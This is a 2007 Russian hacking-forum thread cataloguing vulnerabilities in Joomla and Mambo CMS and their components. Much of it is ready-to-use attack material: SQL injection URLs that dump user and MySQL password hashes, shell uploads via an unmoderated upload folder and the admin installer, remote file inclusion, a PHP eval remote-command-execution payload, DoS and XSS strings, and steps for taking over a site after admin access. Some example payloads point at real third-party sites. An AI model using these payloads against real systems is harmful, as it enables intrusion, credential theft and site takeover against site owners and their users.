Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов (https://forum.antichat.xyz/showthread.php?t=50600)

it's my 06.10.2007 00:48

Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов
 
CMS Joomla!


Хочу начать обзор со слов, что как бы Joomla не считалась одной из самых уязвимых CMS, на мой взгляд, Joomla очень даже не плохой движок со стороны безопасности. Проблема заключается в сторонних компонентах подключаемых к движкам и разработанных левыми (не разработчиками Джумлы) разработчиками. Но блогодаря сторонним компонентам эта CMS становиться интересной «изнутри» (в администраторской панели).

Доступ в администраторскую панель:
Здесь я коснусь двух найденных мною уязвимостей в Джумле.

1. Компонент SimpleFaq 2.х (com_simplefaq) *

Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.

Уязвимость существует из-за недостаточной обработки входных данных в параметре aid в установочном сценарии Joomla index.php (когда параметр \"option\" установлен в com_simplefaq и параметр task установлен в answer). Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. (c) securitylab.ru

* я позже узнал, что эта уязвимость была найдена до меня

Уязвимые версии 2.х – 2.40

Внешний вид:
http://efots.info/images/10913601.gif

При запросе:
Код:

http://victim.com/index.php?option=com_simplefaq&task=answer&Itemid=9999&catid=9999&aid=-1/**/union/**/select/**/0,username,password,email,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0/**/from/**/jos_users/*
Вежливо выдает логин, хеш (md5) и мыло:
http://efots.info/images/18549402.gif

Теперь остаётся расшифровать хеш и проходить в администраторскую панель.

Таким же образом можно получить доступ к БД MySQL, запросом:
Код:

http://victim.com/index.php?option=com_simplefaq&task=answer&Itemid=9999&catid=9999&aid=-1/**/union/**/select/**/0,User,Password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0/**/from/**/mysql.user/*
Ну и соответственно наш милый браузер выдаст следующее:
http://efots.info/images/71574103.gif


2. Компонент ReMOSitory 341RE (com_remository) *
Уязвимость существует из-за недостаточной обработки загружаемых файлов на сервер, и наличия прямого доступа к ним по дефолту.

* Данной уязвимости еще нигде не встречал

Внешний вид:
http://efots.info/images/67777804.gif

Теперь регистрируемся, и идем заливать файл (в нашем случае это шел))) по ссылке «Добавить файл»

После того как файл добавлен он автоматически загружается во временное хранилище (/downloads/uploads/), до одобрения администратора. Но мы ждать не будем и последуем по ссылке http://victim.com/downloads/uploads/ и увидим следующее:
http://efots.info/images/21416405.gif

Открываем... А дальше совсем другая история, которую не раз поднимали в пределах форума.

Администраторская панель.

Вот мы и добрались до намеченной цели, но мало попасть сюда, нужно еще и иметь доступ на добавление/редактирование/удаление файлов. Для этого есть два варианта:

1. В большинстве случаях (на моей практике это 95/100) доступны на запись следующие папки:

Цитата:

media/
administrator/components/
components/
images/stories/
administrator/modules/
modules/
language/
mambots/
А это гуд! Теперь не раздумывая, идем следующим путем: Установка/удаление => Компоненты. И смотря оттого, что именно нужно (а иногда нужно именно всё) устанавливаем следующие компоненты:

JoomlaXplorer 2.0 – подобие FTP сервера с возможностью установки прав на файлы, загрузка/редактирование/удаление файлов. Скрин:
http://efots.info/images/79943006.gif

Причем как можно заметить из скрина доступ обеспечивает не только на директорию сайта, но и если здесь же хостятся другие, то и к другим)))

JoomlaPack 1.1.0 – Компонент для создания архива данных (бэкап БД и Полный бэкап сайта с установочными файлами)
http://efots.info/images/54737907.gif

Здесь ничего сложного нет, просто идем по ссылке «Создать архив сайта», выбираем, что именно нужно создать (архив БД или архив сайта), создаем, потом идем по ссылке «Сохраненные архивы сайта» и скачиваем.

Теперь сайт под нашим чутким руководством)))

2. Использования шелла для поднятия рутовских прав, по этой возможности много статей можно найти пройдя по ссылке www.google.com

На этом всё. Ответственность за использования данной статьи предусмотрено Уголовным Кодексом Российской Федерации. Тема создана в познавательных целях.

JoomlaXplorer 2.0тут
JoomlaPack 1.1.0.тут

Подборка сплоитов для CMS Joomla! И сторонних компонентов – тут – сплоиты (с) milw0rm.com

P.S. И помните каким бы ни был взлом, главное что бы он был безопасным (с) Анфиса Чехова

it's my (с) 2007

blackybr 06.10.2007 13:26

=НЕ ФЛЕЙМИТЬ=

Для того чтобы было легче понять - Joomla - Это как бы 5ая версия Мамбы, которую решили нумеровать и назвать заново.

Насчет узнавания версии в последних релизах вопрос затруднительный.
Файл CHANGELOG.php может просматривать только админ, /includes/version.php тоже недотсупен на чтение. только инклудиься в файлы админки. installation/index.php - обычно удаляется.
Смотрю более старые версии.


Множество модулей для джумлы - мамбы страдают удаленнм - локальным инклудом файлов.
Все из-за того, что переменная
$mosConfig_absolute_path которая инклудится в практически каждом файле никак не проверяется.
Точный список модулей и версий скоро будет готов.


4.5.2.1
mysql >4.1 (Использует подзапросы)
Bug:
Цитата:

/index.php?option=com_content&task=vote&id=1&Itemid =1&cid=1&user_rating=1,rating_sum=[sql]
Mambo 4.5.2.1 hash pass disclosur
Mambo 4.5.2.1 by RST

4.6rc1
Уязвимость в модуле com_frontpage, использует посимвольный benchmark брут полей.
Mambo <= 4.6rc1 'Weblinks' blind SQL injection

1.0
RFI - http://targetsite.com/[path_to_Joomla!]/includes/joomla.php?includepath=[attacker]
(c) http://packetstormsecurity.org/0606-exploits/joomla10.txt


1.0.7
Уязвимость в модуле com_rss, позволяющая провести дос атаку, путь, а также создавать произвольные файлы.
Mambo/Joomla Path Disclosure & Remote DOS Exploit
Создание файла: index.php?option=com_rss&feed=[имя файла]&no_html=1
Путь: index.php?option=com_rss&feed=/&no_html=1
DoS: index.php?option=com_poll&task=results&id=1&mosmsg =DOS@HERE<<>AAA<><>
(с) bugs discovered by Foster (RST/GHC)
В 1.0.8 все исправлено. Также как я посмотрел в этой версии с $mosmsg можно провести xss атаку, фильтр includes/phpInputFilter/class.inputfilter.php пропускает половину тэгов.


1.0.9
Уязвимость в модуле com_frontpage, использует посимвольный benchmark брут полей.
Joomla <= 1.0.9 'Weblinks' blind SQL injection


1.0.10
Уязвимость в com_poll, позволяющая "накрутить" тот или иной вариант ответа
Joomla add unlimited votes


1.5.0
Уязвимость поволяет выполнять произвольные команды на сервере
PoC: http://hacked/libraries/pcl/pcltar.php?g_pcltar_lib_dir=http://hacker/?
Joomla! 1.5.0 Remote file include


1.5 - 1.5 beta 2
Уязвимость позволяет удаленно выполнять комманды на сервере.
Уязвимый код:
Код:

1) components/com_search/views/search/tmpl/default_results.php

line 12: <?php eval ('echo "'. $this->result .'";'); ?>

2) templates/beez/html/com_search/search/default_results.php

line 25: echo '<p>' . eval ('echo "' . $this->result . '";');

Poc
Цитата:

http://$joomlahost/index.php?searchword=";phpinfo();%23&option=com_se arch&Itemid=1
http://$joomlahost/index.php?c=id&searchword=";system($_GET[c]);%23&option=com_search&Itemid=1
Remote command execution in Joomla! CMS 1.5 beta 2



1.5 beta 1,2 + RC1
Уязвимость присутствует в модуле com_contentв трех файлах archive.php,category.php,section.php в параметре filter,
Joomla! 1.5 Beta1/Beta2/RC1 Remote SQL Injection Exploit


Все версии
./administration/ sql injection
http://packetstormsecurity.org/0707-exploits/joomla-sql.txt
PoC:
Цитата:

administrator/popups/pollwindow.php?pollid=1%20union%20select%20passwor d%20from%20jos_users/*
Раскрытие пути:
Цитата:

includes/Cache/Lite/Output.php
includes/patTemplate/patTemplate/Stat.php
includes/patTemplate/patTemplate/OutputFilter.php
includes/patTemplate/patTemplate/OutputCache.php
includes/patTemplate/patTemplate/Modifier.php
includes/patTemplate/patTemplate/Reader.php
includes/patTemplate/patTemplate/TemplateCache.php

Заливка шела в 1.5.* версиях.

Цитата:

1.Заходим в админку http://joomla/administrator/
2. направляемся в компонент инстала-апгрейда
http://joomla/administrator/index.php?option=com_installer
3. Выбираем любой файл в Upload Package File и заливаем его =)
Он будет находитсья в http://joomla/tmp/

Elekt 08.10.2007 18:28

Инклуды в модах/модулях/компонентах
 
Вложений: 1
Инклуды в модах/модулях/компонентах

Обновлено: 12.01.2008

Софтинка для автоматического чека инклудов прилагается в атаче.

добавлен скрипт удаления повторов и сортировки по алфавиту

l1ght 24.10.2007 13:14

sql в гостевой книге (модуль com_akobook)
v. <=3.42
Цитата:

/index.php?option=com_akobook&Itemid=36&func=sign&a ction=reply&gbid=[sql]
примеры: (вывод в цитатах)
Цитата:

http://www.raznyeludi.com/component/index.php?option=com_akobook&Itemid=36&func=sign&a ction=reply&gbid=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19/*

http://games.etherway.ru/index.php?option=com_akobook&Itemid=91&func=sign&a ction=reply&gbid=-1+union+select+1,2,table_name,4,5,6,7,8,9,10,11,12 ,13,14,15,16,17,18,19+from+information_schema.tabl es/*

итд
ps для танкистов /itemid,1/ = &itemid=1

+toxa+ 24.10.2007 17:20

VULN: /multithumb.php
BUG: include_once($mosConfig_absolute_path."/mambots/content/multithumb/class.img2thumb.inc");
(с) http://www.rootshell-team.com/showthread.php?t=2969

fly 04.11.2007 18:25

CBSMS Mambo Module <= 1.0 ([mosConfig_absolute_path])

# http://www.site.com/[path]/mod_cbsms_messages.php?mosConfig_absolute_path=[evil script]

otmorozok428 06.11.2007 11:07

Как узнать версию Joomla?

Файл configuration.php-dist лежит в корне и сам себя описывает так:


* -------------------------------------------------------------------------
* ЭТОТ ФАЙЛ ДОЛЖЕН ИСПОЛЬЗОВАТЬСЯ ТОЛЬКО ПРИ НЕВОЗМОЖНОСТИ WEB-ИНСТАЛЛЯТОРА
*
* Если вы устанавливаете Joomla вручную, то есть не используете web-инсталлятор,
* то переименуйте этот файл в configuration.php
*
* Например:
* UNIX -> mv configuration.php-dist configuration.php
* Windows -> rename configuration.php-dist configuration.php
*
* Теперь отредактируйте этот файл и установите параметры вашего сайта
* и базы данных.
* -------------------------------------------------------------------------


Проблема, однако, состоит в том, что в 9 из 10 случаев файл переименовать либо забывают, либо просто не считают нужным.

Примеры тому

http://www.joomla.org/configuration.php-dist

http://www.joomla.ru/configuration.php-dist

Между тем, файл содержит чувствительную информацию, позволяющую узнать версию установленного пакета. Так, если установлена

версия 1.0.13, файл содержит строчку:

* @version $Id: configuration.php-dist 7424 2007-05-17 15:56:10Z robs $

версии 1.0.11, 1.0.12

* @version $Id: configuration.php-dist 4802 2006-08-28 16:18:33Z stingrey $

версии 1.0.9, 1.0.10

* @version $Id: configuration.php-dist 3754 2006-05-31 12:08:37Z stingrey $

версия 1.0.8

* @version $Id: configuration.php-dist 2622 2006-02-26 04:16:09Z stingrey $

версии 1.0.5-1.0.7

* @version $Id: configuration.php-dist 506 2005-10-13 05:49:24Z stingrey $

версия 1.0.4

* @version $Id: configuration.php-dist 217 2005-09-21 15:15:58Z stingrey $

версия 1.0.3

* @version $Id: configuration.php-dist 506 2005-10-13 05:49:24Z stingrey $

версии 1.0.1, 1.0.2

* @version $Id: configuration.php-dist 217 2005-09-21 15:15:58Z stingrey $

версия 1.0.0

* @version $Id: configuration.php-dist 47 2005-09-15 02:55:27Z rhuk $

steepX 09.11.2007 23:22

Уязвимость в поиске по сайту в параметре searchword. Дыра является DOM based XSS.

http://site/index.
php?option=com_search&searchword=';alert('XSS')//

Для исполнения кода, пользователь должен сменить количество результатов поиска на одну страницу.
уязвимы версии Joomla! <= 1.0.13

BlackCats 13.11.2007 04:33

а если так:
* @version $Id: configuration.php-dist,v 1.4 2005/11/25 04:46:26 csouza Exp $

какая версия?

смахивает на 1.4 но както меня напрягают числа, в списке выше 2005\10 - это уже 1.5

otmorozok428 15.11.2007 10:10

BlackCats, это у тебя какое-то Mambo (не из последних)... На счёт конкретной версии, сейчас, к сож. ответить не могу. Пока выкладываю данные для

Joomla 1.5.x

1.5.0 Release Candidate 3

* @version $Id: configuration.php-dist 8946 2007-09-18 14:26:22Z louis $

1.5.0 Release Candidate 2

* @version $Id: configuration.php-dist 8290 2007-08-01 14:03:11Z jinx $

1.5.0 Release Candidate 1

* @version $Id: configuration.php-dist 7740 2007-06-13 21:01:25Z laurens $

1.5.0 Beta 2

* @version $Id: configuration.php-dist 6691 2007-02-21 09:29:26Z Jinx $

1.5.0 Beta

* @version $Id: configuration.php-dist 5361 2006-10-07 19:21:08Z Jinx $


Время: 18:49